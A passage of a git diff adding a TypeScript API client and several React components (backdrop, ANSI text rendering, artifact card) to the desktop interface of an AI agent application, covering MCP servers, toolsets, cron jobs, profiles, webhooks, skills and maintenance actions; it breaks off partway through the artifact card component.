+ *  re-enables (dropping `enabled: false`), and removed nested fields persist. */
+export function saveMcpServers(servers: Record<string, Record<string, unknown>>): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...profileScoped(),
+    path: '/api/mcp/servers',
+    method: 'PUT',
+    body: { servers }
+  })
+}
+
+/** Start an MCP OAuth flow and return the authorization URL. */
+export function authMcpServer(name: string): Promise<McpOAuthFlow> {
+  return window.clawcodexDesktop.api<McpOAuthFlow>({
+    ...profileScoped(),
+    path: `/api/mcp/servers/${encodeURIComponent(name)}/auth`,
+    method: 'POST',
+    timeoutMs: 60_000
+  })
+}
+
+export function getMcpOAuthFlow(flowId: string): Promise<McpOAuthFlow> {
+  return window.clawcodexDesktop.api<McpOAuthFlow>({
+    ...profileScoped(),
+    path: `/api/mcp/oauth/flows/${encodeURIComponent(flowId)}`
+  })
+}
+
+export function getToolsets(): Promise<ToolsetInfo[]> {
+  return window.clawcodexDesktop.api<ToolsetInfo[]>({
+    ...profileScoped(),
+    path: '/api/tools/toolsets'
+  })
+}
+
+export function setToolsetEnabled(
+  name: string,
+  enabled: boolean
+): Promise<{ ok: boolean; name: string; enabled: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; name: string; enabled: boolean }>({
+    ...profileScoped(),
+    path: `/api/tools/toolsets/${encodeURIComponent(name)}`,
+    method: 'PUT',
+    body: { enabled }
+  })
+}
+
+export function getToolsetConfig(name: string): Promise<ToolsetConfig> {
+  return window.clawcodexDesktop.api<ToolsetConfig>({
+    ...profileScoped(),
+    path: `/api/tools/toolsets/${encodeURIComponent(name)}/config`
+  })
+}
+
+export function getToolsetModels(name: string, provider?: string): Promise<ToolsetModelsResponse> {
+  const suffix = provider ? `?provider=${encodeURIComponent(provider)}` : ''
+
+  return window.clawcodexDesktop.api<ToolsetModelsResponse>({
+    ...profileScoped(),
+    path: `/api/tools/toolsets/${encodeURIComponent(name)}/models${suffix}`
+  })
+}
+
+export function selectToolsetModel(
+  name: string,
+  model: string,
+  provider?: string
+): Promise<{ ok: boolean; name: string; model: string }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; name: string; model: string }>({
+    ...profileScoped(),
+    path: `/api/tools/toolsets/${encodeURIComponent(name)}/model`,
+    method: 'PUT',
+    body: { model, provider }
+  })
+}
+
+export interface SelectToolsetProviderResponse {
+  ok: boolean
+  name: string
+  provider: string
+  /** Present when the selection was scoped to one web capability. */
+  capability?: string
+  /** Present (true) when a managed Nous row was selected but the Portal
+   *  entitlement is missing — the row won't activate until the user signs
+   *  in to Nous Portal. */
+  needs_nous_auth?: boolean
+  /** The managed feature key (e.g. "browser") when needs_nous_auth is set. */
+  feature?: string
+}
+
+export function selectToolsetProvider(
+  name: string,
+  provider: string,
+  capability?: 'search' | 'extract'
+): Promise<SelectToolsetProviderResponse> {
+  return window.clawcodexDesktop.api<SelectToolsetProviderResponse>({
+    ...profileScoped(),
+    path: `/api/tools/toolsets/${encodeURIComponent(name)}/provider`,
+    method: 'PUT',
+    body: capability ? { provider, capability } : { provider }
+  })
+}
+
+export function runToolsetPostSetup(name: string, key: string): Promise<ActionResponse & { key: string }> {
+  return window.clawcodexDesktop.api<ActionResponse & { key: string }>({
+    ...profileScoped(),
+    path: `/api/tools/toolsets/${encodeURIComponent(name)}/post-setup`,
+    method: 'POST',
+    body: { key }
+  })
+}
+
+export function getTerminalBackends(): Promise<TerminalBackendsResponse> {
+  return window.clawcodexDesktop.api<TerminalBackendsResponse>({
+    ...profileScoped(),
+    path: '/api/tools/terminal/backends'
+  })
+}
+
+export function selectTerminalBackend(backend: string): Promise<{ ok: boolean; backend: string }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; backend: string }>({
+    ...profileScoped(),
+    path: '/api/tools/terminal/backend',
+    method: 'PUT',
+    body: { backend }
+  })
+}
+
+export function getComputerUseStatus(): Promise<ComputerUseStatus> {
+  return window.clawcodexDesktop.api<ComputerUseStatus>({
+    ...profileScoped(),
+    path: '/api/tools/computer-use/status'
+  })
+}
+
+export function grantComputerUsePermissions(): Promise<ActionResponse> {
+  return window.clawcodexDesktop.api<ActionResponse>({
+    ...profileScoped(),
+    path: '/api/tools/computer-use/permissions/grant',
+    method: 'POST'
+  })
+}
+
+export function getMessagingPlatforms(): Promise<MessagingPlatformsResponse> {
+  return window.clawcodexDesktop.api<MessagingPlatformsResponse>({
+    path: '/api/messaging/platforms'
+  })
+}
+
+export function updateMessagingPlatform(
+  platformId: string,
+  body: MessagingPlatformUpdate
+): Promise<{ ok: boolean; platform: string }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; platform: string }>({
+    path: `/api/messaging/platforms/${encodeURIComponent(platformId)}`,
+    method: 'PUT',
+    body
+  })
+}
+
+export function testMessagingPlatform(platformId: string): Promise<MessagingPlatformTestResponse> {
+  return window.clawcodexDesktop.api<MessagingPlatformTestResponse>({
+    path: `/api/messaging/platforms/${encodeURIComponent(platformId)}/test`,
+    method: 'POST'
+  })
+}
+
+// -- Pairing (who may DM the bot) --------------------------------------------
+// Unknown DMers get a one-time code and land in `pending` until an admin
+// approves them. Approval grants on the row's `request_id`, never on the code:
+// the code is the requester's proof that the channel is theirs and is never
+// returned by the API, while an authenticated admin is only ever identifying
+// a row they can already see.
+
+export function getPairing(): Promise<PairingResponse> {
+  return window.clawcodexDesktop.api<PairingResponse>({
+    ...profileScoped(),
+    path: '/api/pairing'
+  })
+}
+
+export function approvePairing(platform: string, requestId: string): Promise<{ ok: boolean; user: PairingUser }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; user: PairingUser }>({
+    ...profileScoped(),
+    path: '/api/pairing/approve',
+    method: 'POST',
+    // These endpoints read the profile off the body, not the query string —
+    // `profileScoped()` alone would approve into the wrong profile's store.
+    body: { platform, request_id: requestId, ...profileScoped() }
+  })
+}
+
+export function revokePairing(platform: string, userId: string): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...profileScoped(),
+    path: '/api/pairing/revoke',
+    method: 'POST',
+    body: { platform, user_id: userId, ...profileScoped() }
+  })
+}
+
+// -- Webhooks (subscription CRUD) --------------------------------------------
+// The webhook receiver is its own gateway platform; subscriptions live in a
+// shared JSON store the CLI/dashboard also drive. Enable mutates config and
+// best-effort restarts the gateway; subscription changes hot-reload.
+
+export function getWebhooks(): Promise<WebhooksResponse> {
+  return window.clawcodexDesktop.api<WebhooksResponse>({
+    ...profileScoped(),
+    path: '/api/webhooks'
+  })
+}
+
+export function enableWebhooks(): Promise<WebhookEnableResponse> {
+  return window.clawcodexDesktop.api<WebhookEnableResponse>({
+    ...profileScoped(),
+    path: '/api/webhooks/enable',
+    method: 'POST'
+  })
+}
+
+export function createWebhook(body: WebhookCreatePayload): Promise<WebhookCreateResponse> {
+  return window.clawcodexDesktop.api<WebhookCreateResponse>({
+    ...profileScoped(),
+    path: '/api/webhooks',
+    method: 'POST',
+    body
+  })
+}
+
+export function deleteWebhook(name: string): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...profileScoped(),
+    path: `/api/webhooks/${encodeURIComponent(name)}`,
+    method: 'DELETE'
+  })
+}
+
+export function setWebhookEnabled(
+  name: string,
+  enabled: boolean
+): Promise<{ enabled: boolean; name: string; ok: boolean }> {
+  return window.clawcodexDesktop.api<{ enabled: boolean; name: string; ok: boolean }>({
+    ...profileScoped(),
+    path: `/api/webhooks/${encodeURIComponent(name)}/enabled`,
+    method: 'PUT',
+    body: { enabled }
+  })
+}
+
+// Cron jobs are stored per-profile (<CLAWCODEX_CONFIG_DIR>/cron/jobs.json), and the
+// backend's list endpoint defaults to 'all'. Pass a concrete profile key to
+// list just that profile's jobs, or 'all' for the unified cross-profile view.
+// Omitting the arg keeps the legacy 'all' default for non-profile callers.
+// profileScoped() still rides along for backend-process routing.
+export function getCronJobs(profile?: string): Promise<CronJob[]> {
+  const suffix = profile ? `?profile=${encodeURIComponent(profile)}` : ''
+
+  return window.clawcodexDesktop.api<CronJob[]>({
+    ...profileScoped(),
+    path: `/api/cron/jobs${suffix}`,
+    timeoutMs: STARTUP_REQUEST_TIMEOUT_MS
+  })
+}
+
+export function getCronJob(jobId: string): Promise<CronJob> {
+  return window.clawcodexDesktop.api<CronJob>({
+    ...profileScoped(),
+    path: `/api/cron/jobs/${encodeURIComponent(jobId)}`
+  })
+}
+
+export async function getCronJobRuns(jobId: string, limit = 20): Promise<SessionInfo[]> {
+  const { runs } = await window.clawcodexDesktop.api<{ runs: SessionInfo[] }>({
+    ...profileScoped(),
+    path: `/api/cron/jobs/${encodeURIComponent(jobId)}/runs?limit=${limit}`
+  })
+
+  return runs ?? []
+}
+
+// The single source of truth for cron delivery targets (local + configured
+// gateways). Both the manual cron editor and the blueprint dialog use this so
+// they never offer a platform that isn't connected. Mirrors the dashboard.
+export async function getCronDeliveryTargets(): Promise<CronDeliveryTarget[]> {
+  const { targets } = await window.clawcodexDesktop.api<{ targets: CronDeliveryTarget[] }>({
+    ...profileScoped(),
+    path: '/api/cron/delivery-targets'
+  })
+
+  return targets ?? []
+}
+
+export function createCronJob(body: CronJobCreatePayload): Promise<CronJob> {
+  return window.clawcodexDesktop.api<CronJob>({
+    ...profileScoped(),
+    path: '/api/cron/jobs',
+    method: 'POST',
+    body
+  })
+}
+
+export function updateCronJob(jobId: string, updates: CronJobUpdates): Promise<CronJob> {
+  return window.clawcodexDesktop.api<CronJob>({
+    ...profileScoped(),
+    path: `/api/cron/jobs/${encodeURIComponent(jobId)}`,
+    method: 'PUT',
+    body: { updates }
+  })
+}
+
+export function pauseCronJob(jobId: string): Promise<CronJob> {
+  return window.clawcodexDesktop.api<CronJob>({
+    ...profileScoped(),
+    path: `/api/cron/jobs/${encodeURIComponent(jobId)}/pause`,
+    method: 'POST'
+  })
+}
+
+export function resumeCronJob(jobId: string): Promise<CronJob> {
+  return window.clawcodexDesktop.api<CronJob>({
+    ...profileScoped(),
+    path: `/api/cron/jobs/${encodeURIComponent(jobId)}/resume`,
+    method: 'POST'
+  })
+}
+
+export function triggerCronJob(jobId: string): Promise<CronJob> {
+  return window.clawcodexDesktop.api<CronJob>({
+    ...profileScoped(),
+    path: `/api/cron/jobs/${encodeURIComponent(jobId)}/trigger`,
+    method: 'POST'
+  })
+}
+
+export function deleteCronJob(jobId: string): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...profileScoped(),
+    path: `/api/cron/jobs/${encodeURIComponent(jobId)}`,
+    method: 'DELETE'
+  })
+}
+
+// Automation Blueprints — parameterized cron templates the backend serves from
+// cron/blueprint_catalog.py. getAutomationBlueprints returns the gallery
+// (deliver options already rewritten to this machine's configured gateways);
+// instantiateAutomationBlueprint fills the slots and creates a real cron job via
+// the same create_job path as createCronJob.
+//
+// Profile-scoping is intentionally asymmetric: the GET catalog is global (the
+// list endpoint takes no profile — only deliver options are rewritten from the
+// configured gateways), so it carries only the profileScoped() header for
+// routing. instantiate creates a real per-profile job, so it names the target
+// profile explicitly via ?profile=. This mirrors the dashboard's api.ts.
+export function getAutomationBlueprints(): Promise<{ blueprints: AutomationBlueprint[] }> {
+  return window.clawcodexDesktop.api<{ blueprints: AutomationBlueprint[] }>({
+    ...profileScoped(),
+    path: '/api/cron/blueprints',
+    timeoutMs: STARTUP_REQUEST_TIMEOUT_MS
+  })
+}
+
+export function instantiateAutomationBlueprint(
+  body: { blueprint: string; values: Record<string, string> },
+  profile: string
+): Promise<CronJob> {
+  return window.clawcodexDesktop.api<CronJob>({
+    ...profileScoped(),
+    path: `/api/cron/blueprints/instantiate?profile=${encodeURIComponent(profile)}`,
+    method: 'POST',
+    body
+  })
+}
+
+export function getProfiles(): Promise<ProfilesResponse> {
+  return window.clawcodexDesktop.api<ProfilesResponse>({
+    path: '/api/profiles',
+    timeoutMs: STARTUP_REQUEST_TIMEOUT_MS
+  })
+}
+
+export function createProfile(body: ProfileCreatePayload): Promise<{ name: string; ok: boolean; path: string }> {
+  return window.clawcodexDesktop.api<{ name: string; ok: boolean; path: string }>({
+    path: '/api/profiles',
+    method: 'POST',
+    body
+  })
+}
+
+export function renameProfile(name: string, newName: string): Promise<{ name: string; ok: boolean; path: string }> {
+  return window.clawcodexDesktop.api<{ name: string; ok: boolean; path: string }>({
+    path: `/api/profiles/${encodeURIComponent(name)}`,
+    method: 'PATCH',
+    body: { new_name: newName }
+  })
+}
+
+export function deleteProfile(name: string): Promise<{ ok: boolean; path: string }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; path: string }>({
+    path: `/api/profiles/${encodeURIComponent(name)}`,
+    method: 'DELETE'
+  })
+}
+
+export function getProfileSoul(name: string): Promise<ProfileSoul> {
+  return window.clawcodexDesktop.api<ProfileSoul>({
+    path: `/api/profiles/${encodeURIComponent(name)}/soul`
+  })
+}
+
+export function updateProfileSoul(name: string, content: string): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    path: `/api/profiles/${encodeURIComponent(name)}/soul`,
+    method: 'PUT',
+    body: { content }
+  })
+}
+
+export function getProfileSetupCommand(name: string): Promise<ProfileSetupCommand> {
+  return window.clawcodexDesktop.api<ProfileSetupCommand>({
+    path: `/api/profiles/${encodeURIComponent(name)}/setup-command`
+  })
+}
+
+/** Export a profile to a shareable .tar.gz on the backend's filesystem.
+ *  `extraFiles` stages extra root-level files (desktop.json — the appearance/
+ *  interface overlay) into the archive alongside the profile's own artifacts. */
+export function exportProfileArchive(
+  name: string,
+  opts: { extraFiles?: Record<string, string>; output?: string } = {}
+): Promise<{ archive: string; ok: boolean }> {
+  return window.clawcodexDesktop.api<{ archive: string; ok: boolean }>({
+    path: `/api/profiles/${encodeURIComponent(name)}/export`,
+    method: 'POST',
+    body: { extra_files: opts.extraFiles ?? {}, output: opts.output ?? '' },
+    timeoutMs: STARTUP_REQUEST_TIMEOUT_MS
+  })
+}
+
+/** Import a profile .tar.gz as a new profile. Returns the bundled desktop
+ *  appearance overlay too (when the archive carried one) so the caller can
+ *  apply theme/layout without another round-trip. */
+export function importProfileArchive(
+  archive: string,
+  name?: string
+): Promise<{ desktop: null | ProfileDesktopOverlay; name: string; ok: boolean; path: string }> {
+  return window.clawcodexDesktop.api<{ desktop: null | ProfileDesktopOverlay; name: string; ok: boolean; path: string }>({
+    path: '/api/profiles/import',
+    method: 'POST',
+    body: { archive, name: name || null },
+    timeoutMs: STARTUP_REQUEST_TIMEOUT_MS
+  })
+}
+
+export function getUsageAnalytics(days = 30): Promise<AnalyticsResponse> {
+  return window.clawcodexDesktop.api<AnalyticsResponse>({
+    ...profileScoped(),
+    path: `/api/analytics/usage?days=${Math.max(1, Math.floor(days))}`
+  })
+}
+
+export function getGlobalModelOptions(opts?: {
+  refresh?: boolean
+  includeUnconfigured?: boolean
+  explicitOnly?: boolean
+}): Promise<ModelOptionsResponse> {
+  const params = new URLSearchParams()
+
+  if (opts?.refresh) {
+    params.set('refresh', '1')
+  }
+
+  if (opts?.includeUnconfigured) {
+    params.set('include_unconfigured', '1')
+  }
+
+  if (opts?.explicitOnly !== false) {
+    params.set('explicit_only', '1')
+  }
+
+  return window.clawcodexDesktop.api<ModelOptionsResponse>({
+    ...profileScoped(),
+    path: params.size > 0 ? `/api/model/options?${params.toString()}` : '/api/model/options',
+    timeoutMs: STARTUP_REQUEST_TIMEOUT_MS
+  })
+}
+
+export interface RecommendedDefaultModel {
+  provider: string
+  model: string
+  /** True/false for Nous (free vs paid tier); null for other providers. */
+  free_tier: boolean | null
+}
+
+// Recommended default model for a freshly-authenticated provider. Mirrors the
+// curation `clawcodex model` does — for Nous it honors the free/paid tier so a
+// free user gets a free model instead of a paid default.
+export function getRecommendedDefaultModel(provider: string): Promise<RecommendedDefaultModel> {
+  return window.clawcodexDesktop.api<RecommendedDefaultModel>({
+    ...profileScoped(),
+    path: `/api/model/recommended-default?provider=${encodeURIComponent(provider)}`
+  })
+}
+
+export function setGlobalModel(
+  provider: string,
+  model: string
+): Promise<{ ok: boolean; provider: string; model: string }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; provider: string; model: string }>({
+    ...profileScoped(),
+    path: '/api/model/set',
+    method: 'POST',
+    body: {
+      scope: 'main',
+      provider,
+      model
+    }
+  })
+}
+
+export function getAuxiliaryModels(): Promise<AuxiliaryModelsResponse> {
+  return window.clawcodexDesktop.api<AuxiliaryModelsResponse>({
+    ...profileScoped(),
+    path: '/api/model/auxiliary'
+  })
+}
+
+export function getMoaModels(): Promise<MoaConfigResponse> {
+  return window.clawcodexDesktop.api<MoaConfigResponse>({
+    ...profileScoped(),
+    path: '/api/model/moa'
+  })
+}
+
+export function saveMoaModels(body: MoaConfigResponse): Promise<MoaConfigResponse & { ok: boolean }> {
+  return window.clawcodexDesktop.api<MoaConfigResponse & { ok: boolean }>({
+    ...profileScoped(),
+    path: '/api/model/moa',
+    method: 'PUT',
+    body
+  })
+}
+
+export function setModelAssignment(body: ModelAssignmentRequest): Promise<ModelAssignmentResponse> {
+  return window.clawcodexDesktop.api<ModelAssignmentResponse>({
+    ...profileScoped(),
+    path: '/api/model/set',
+    method: 'POST',
+    body
+  })
+}
+
+export function restartGateway(): Promise<ActionResponse> {
+  return window.clawcodexDesktop.api<ActionResponse>({
+    ...profileScoped(),
+    path: '/api/gateway/restart',
+    method: 'POST'
+  })
+}
+
+export function updateClawCodex(): Promise<ActionResponse> {
+  return window.clawcodexDesktop.api<ActionResponse>({
+    ...profileScoped(),
+    path: '/api/clawcodex/update',
+    method: 'POST'
+  })
+}
+
+/** Query the connected backend's own update state. In remote mode this is the
+ *  authoritative source for the backend's behind-count + "what's changed",
+ *  distinct from the Electron client clone's git state. */
+export function checkClawCodexUpdate(force = false): Promise<BackendUpdateCheckResponse> {
+  return window.clawcodexDesktop.api<BackendUpdateCheckResponse>({
+    ...profileScoped(),
+    path: `/api/clawcodex/update/check${force ? '?force=true' : ''}`
+  })
+}
+
+export function getActionStatus(name: string, lines = 200): Promise<ActionStatusResponse> {
+  return window.clawcodexDesktop.api<ActionStatusResponse>({
+    ...profileScoped(),
+    path: `/api/actions/${encodeURIComponent(name)}/status?lines=${Math.max(1, lines)}`
+  })
+}
+
+export function transcribeAudio(dataUrl: string, mimeType?: string): Promise<AudioTranscriptionResponse> {
+  return window.clawcodexDesktop.api<AudioTranscriptionResponse>({
+    path: '/api/audio/transcribe',
+    method: 'POST',
+    ...profileScoped(),
+    body: {
+      data_url: dataUrl,
+      mime_type: mimeType
+    },
+    // Transcription blocks until provider STT, file handling, and response
+    // encoding finish. Remote providers and long clips regularly exceed the
+    // default 15s Electron backend timeout.
+    timeoutMs: audioTranscribeRequestTimeoutMs(dataUrl)
+  })
+}
+
+export function speakText(text: string): Promise<AudioSpeakResponse> {
+  return window.clawcodexDesktop.api<AudioSpeakResponse>({
+    ...profileScoped(),
+    path: '/api/audio/speak',
+    method: 'POST',
+    body: { text },
+    // TTS blocks until provider synthesis, file read, and base64 encoding
+    // finish. Remote providers and large messages regularly exceed the
+    // default 15s Electron backend timeout.
+    timeoutMs: audioSpeakRequestTimeoutMs(text)
+  })
+}
+
+export function getElevenLabsVoices(): Promise<ElevenLabsVoicesResponse> {
+  return window.clawcodexDesktop.api<ElevenLabsVoicesResponse>({
+    path: '/api/audio/elevenlabs/voices',
+    ...profileScoped()
+  })
+}
+
+// ---------------------------------------------------------------------------
+// Skills hub — search / preview / scan / install (parity with `clawcodex skills`
+// and the dashboard's Browse-hub tab). Installs spawn background actions whose
+// logs are tailed via getActionStatus().
+// ---------------------------------------------------------------------------
+
+const HUB_REQUEST_TIMEOUT_MS = 45_000
+
+export function getSkillHubSources(): Promise<SkillHubSourcesResponse> {
+  return window.clawcodexDesktop.api<SkillHubSourcesResponse>({
+    ...profileScoped(),
+    path: '/api/skills/hub/sources',
+    timeoutMs: HUB_REQUEST_TIMEOUT_MS
+  })
+}
+
+export function searchSkillsHub(query: string, source = 'all', limit = 20): Promise<SkillHubSearchResponse> {
+  const params = new URLSearchParams({ q: query, source, limit: String(limit) })
+
+  return window.clawcodexDesktop.api<SkillHubSearchResponse>({
+    ...profileScoped(),
+    path: `/api/skills/hub/search?${params.toString()}`,
+    timeoutMs: HUB_REQUEST_TIMEOUT_MS
+  })
+}
+
+export function previewSkillHub(identifier: string): Promise<SkillHubPreview> {
+  return window.clawcodexDesktop.api<SkillHubPreview>({
+    ...profileScoped(),
+    path: `/api/skills/hub/preview?identifier=${encodeURIComponent(identifier)}`,
+    timeoutMs: HUB_REQUEST_TIMEOUT_MS
+  })
+}
+
+export function scanSkillHub(identifier: string): Promise<SkillHubScanResult> {
+  return window.clawcodexDesktop.api<SkillHubScanResult>({
+    ...profileScoped(),
+    path: `/api/skills/hub/scan?identifier=${encodeURIComponent(identifier)}`,
+    timeoutMs: HUB_REQUEST_TIMEOUT_MS
+  })
+}
+
+export function installSkillFromHub(identifier: string): Promise<ActionResponse> {
+  return window.clawcodexDesktop.api<ActionResponse>({
+    ...profileScoped(),
+    path: '/api/skills/hub/install',
+    method: 'POST',
+    body: { identifier }
+  })
+}
+
+export function uninstallSkillFromHub(name: string): Promise<ActionResponse> {
+  return window.clawcodexDesktop.api<ActionResponse>({
+    ...profileScoped(),
+    path: '/api/skills/hub/uninstall',
+    method: 'POST',
+    body: { name }
+  })
+}
+
+export function updateSkillsFromHub(): Promise<ActionResponse> {
+  return window.clawcodexDesktop.api<ActionResponse>({
+    ...profileScoped(),
+    path: '/api/skills/hub/update',
+    method: 'POST',
+    body: {}
+  })
+}
+
+// ---------------------------------------------------------------------------
+// MCP servers — structured list / test / enable toggle / catalog (parity with
+// `clawcodex mcp` and the dashboard MCP page). Raw JSON editing stays in
+// config.yaml via saveClawCodexConfig.
+// ---------------------------------------------------------------------------
+
+export function listMcpServers(): Promise<{ servers: McpServerSummary[] }> {
+  return window.clawcodexDesktop.api<{ servers: McpServerSummary[] }>({
+    ...profileScoped(),
+    path: '/api/mcp/servers'
+  })
+}
+
+export function setMcpServerEnabled(name: string, enabled: boolean): Promise<{ ok: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean }>({
+    ...profileScoped(),
+    path: `/api/mcp/servers/${encodeURIComponent(name)}/enabled`,
+    method: 'PUT',
+    body: { enabled }
+  })
+}
+
+export function getMcpCatalog(): Promise<McpCatalogResponse> {
+  return window.clawcodexDesktop.api<McpCatalogResponse>({
+    ...profileScoped(),
+    path: '/api/mcp/catalog'
+  })
+}
+
+export function installMcpCatalogEntry(
+  name: string,
+  env: Record<string, string> = {}
+): Promise<{ ok: boolean; name?: string; pid?: number; action?: string; background?: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; name?: string; pid?: number; action?: string; background?: boolean }>({
+    ...profileScoped(),
+    path: '/api/mcp/catalog/install',
+    method: 'POST',
+    body: { name, env, enable: true },
+    timeoutMs: 60_000
+  })
+}
+
+// ---------------------------------------------------------------------------
+// Memory data + curator (parity with `clawcodex memory` / `clawcodex curator`).
+// ---------------------------------------------------------------------------
+
+export function getMemoryStatus(): Promise<MemoryStatusResponse> {
+  return window.clawcodexDesktop.api<MemoryStatusResponse>({
+    ...profileScoped(),
+    path: '/api/memory'
+  })
+}
+
+export function resetMemory(target: 'all' | 'memory' | 'user'): Promise<{ ok: boolean; deleted: string[] }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; deleted: string[] }>({
+    ...profileScoped(),
+    path: '/api/memory/reset',
+    method: 'POST',
+    body: { target }
+  })
+}
+
+export function getCuratorStatus(): Promise<CuratorStatusResponse> {
+  return window.clawcodexDesktop.api<CuratorStatusResponse>({
+    ...profileScoped(),
+    path: '/api/curator'
+  })
+}
+
+export function setCuratorPaused(paused: boolean): Promise<{ ok: boolean; paused: boolean }> {
+  return window.clawcodexDesktop.api<{ ok: boolean; paused: boolean }>({
+    ...profileScoped(),
+    path: '/api/curator/paused',
+    method: 'PUT',
+    body: { paused }
+  })
+}
+
+export function runCurator(): Promise<ActionResponse> {
+  return window.clawcodexDesktop.api<ActionResponse>({
+    ...profileScoped(),
+    path: '/api/curator/run',
+    method: 'POST',
+    body: {}
+  })
+}
+
+// ---------------------------------------------------------------------------
+// Maintenance operations (parity with `clawcodex doctor` / `clawcodex security
+// audit` / `clawcodex backup` / `clawcodex debug share` and the dashboard System
+// page). All except debug share are spawn-based background actions tailed via
+// getActionStatus().
+// ---------------------------------------------------------------------------
+
+export function runDoctor(): Promise<ActionResponse> {
+  return window.clawcodexDesktop.api<ActionResponse>({ path: '/api/ops/doctor', method: 'POST', body: {} })
+}
+
+export function runSecurityAudit(): Promise<ActionResponse> {
+  return window.clawcodexDesktop.api<ActionResponse>({ path: '/api/ops/security-audit', method: 'POST', body: {} })
+}
+
+export function runBackup(): Promise<ActionResponse & { archive?: string }> {
+  return window.clawcodexDesktop.api<ActionResponse & { archive?: string }>({
+    path: '/api/ops/backup',
+    method: 'POST',
+    body: {}
+  })
+}
+
+export function runDebugShare(): Promise<DebugShareResponse> {
+  return window.clawcodexDesktop.api<DebugShareResponse>({
+    path: '/api/ops/debug-share',
+    method: 'POST',
+    body: {},
+    // Synchronous upload of report + logs to the paste service.
+    timeoutMs: 120_000
+  })
+}
diff --git a/ui-desktop/src/components/Backdrop.tsx b/ui-desktop/src/components/Backdrop.tsx
new file mode 100644
index 000000000..342f3d916
--- /dev/null
+++ b/ui-desktop/src/components/Backdrop.tsx
@@ -0,0 +1,24 @@
+import { useStore } from '@nanostores/react'
+
+import { $backdrop } from '@/store/backdrop'
+
+const assetPath = (path: string) => `${import.meta.env.BASE_URL}${path.replace(/^\/+/, '')}`
+
+export function Backdrop() {
+  const on = useStore($backdrop)
+
+  if (!on) {
+    return null
+  }
+
+  return (
+    <div aria-hidden className="pointer-events-none absolute inset-0 z-2 opacity-[0.025] mix-blend-difference">
+      <img
+        alt=""
+        className="h-[160dvh] w-auto min-w-dvw object-cover object-left-top [filter:invert(var(--backdrop-invert-mul,1))]"
+        fetchPriority="low"
+        src={assetPath('ds-assets/filler-bg0.jpg')}
+      />
+    </div>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/ansi-text.tsx b/ui-desktop/src/components/assistant-ui/ansi-text.tsx
new file mode 100644
index 000000000..100e0f739
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/ansi-text.tsx
@@ -0,0 +1,33 @@
+import { memo, useMemo } from 'react'
+
+import { ansiColorClass, hasAnsiCodes, parseAnsi } from '@/lib/ansi'
+import { cn } from '@/lib/utils'
+
+interface AnsiTextProps {
+  text: string
+  className?: string
+}
+
+/** Renders text with embedded ANSI SGR codes as colored / bold spans. Falls
+ *  back to a plain string node when no codes are present so the parser cost
+ *  is paid only when there's something to colorize. */
+export const AnsiText = memo(({ className, text }: AnsiTextProps) => {
+  const segments = useMemo(() => (hasAnsiCodes(text) ? parseAnsi(text) : null), [text])
+
+  if (!segments) {
+    return <span className={className}>{text}</span>
+  }
+
+  return (
+    <span className={className}>
+      {segments.map((segment, index) => (
+        <span
+          className={cn(segment.bold && 'font-semibold', segment.fg && ansiColorClass(segment.fg))}
+          key={`ansi-${index}`}
+        >
+          {segment.text}
+        </span>
+      ))}
+    </span>
+  )
+})
diff --git a/ui-desktop/src/components/assistant-ui/artifact-card.tsx b/ui-desktop/src/components/assistant-ui/artifact-card.tsx
new file mode 100644
index 000000000..e7fb043f6
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/artifact-card.tsx
@@ -0,0 +1,136 @@
+'use client'
+
+import { useStore } from '@nanostores/react'
+import { useEffect, useMemo } from 'react'
+
+import { useSessionView } from '@/app/chat/session-view'
+import { CodeCardIcon } from '@/components/chat/code-card'
+import { WIDGET_SHELL_CLASS } from '@/components/chat/widget-shell'
+import { useI18n } from '@/i18n'
+import type { ArtifactDetection } from '@/lib/artifact-detect'
+import { codiconForLanguage } from '@/lib/markdown-code'
+import { cn } from '@/lib/utils'
+import { $artifactRegistry, artifactsForSession, openArtifact, upsertArtifact } from '@/store/artifacts'
+
+interface ArtifactCardProps {
+  code: string
+  detection: ArtifactDetection
+  streaming?: boolean
+}
+
+const KIND_ICON: Record<ArtifactDetection['kind'], string> = {
+  code: 'code',
+  html: 'browser',
+  svg: 'symbol-color'
+}
+
+function detectionIcon(detection: ArtifactDetection): string {
+  return detection.kind === 'code' ? codiconForLanguage(detection.language) : KIND_ICON[detection.kind]
+}
+
+/**
+ * Transcript stand-in for a fenced block that was promoted to an artifact.
+ * Replaces the wall of code with a compact, openable card: icon, title, kind,
+ * version badge. While the fence is still streaming
+ * it shows a shimmer + line count instead of the growing source.
+ *
+ * Registration is automatic on completion (so version history accumulates
+ * even if the user never opens the card) but opening the rail is strictly
+ * click-driven — a background stream never steals the pane.
+ */
+export function ArtifactCard({ code, detection, streaming = false }: ArtifactCardProps) {
+  const { t } = useI18n()
+  const copy = t.artifactCard
+  const view = useSessionView()
+  const runtimeId = useStore(view.$runtimeId)
+  const storedId = useStore(view.$storedId)
+  const registry = useStore($artifactRegistry)
+  const sessionId = storedId || runtimeId || ''
+
+  const trimmed = code.trim()
+
+  // Register/version the artifact once its fence has finished streaming.
+  // upsertArtifact dedupes on content hash, so re-renders and transcript
+  // replays are no-ops.
+  useEffect(() => {
+    if (!streaming && sessionId && trimmed) {
+      upsertArtifact(sessionId, detection, trimmed)
+    }
+    // eslint-disable-next-line react-hooks/exhaustive-deps -- detection derives from code
+  }, [detection.kind, detection.language, detection.title, sessionId, streaming, trimmed])
+
+  const record = useMemo(() => {
+    void registry
+
+    const slugMatch = artifactsForSession(sessionId).find(
+      candidate => candidate.kind === detection.kind && candidate.versions.some(v => v.content === trimmed)
+    )
+
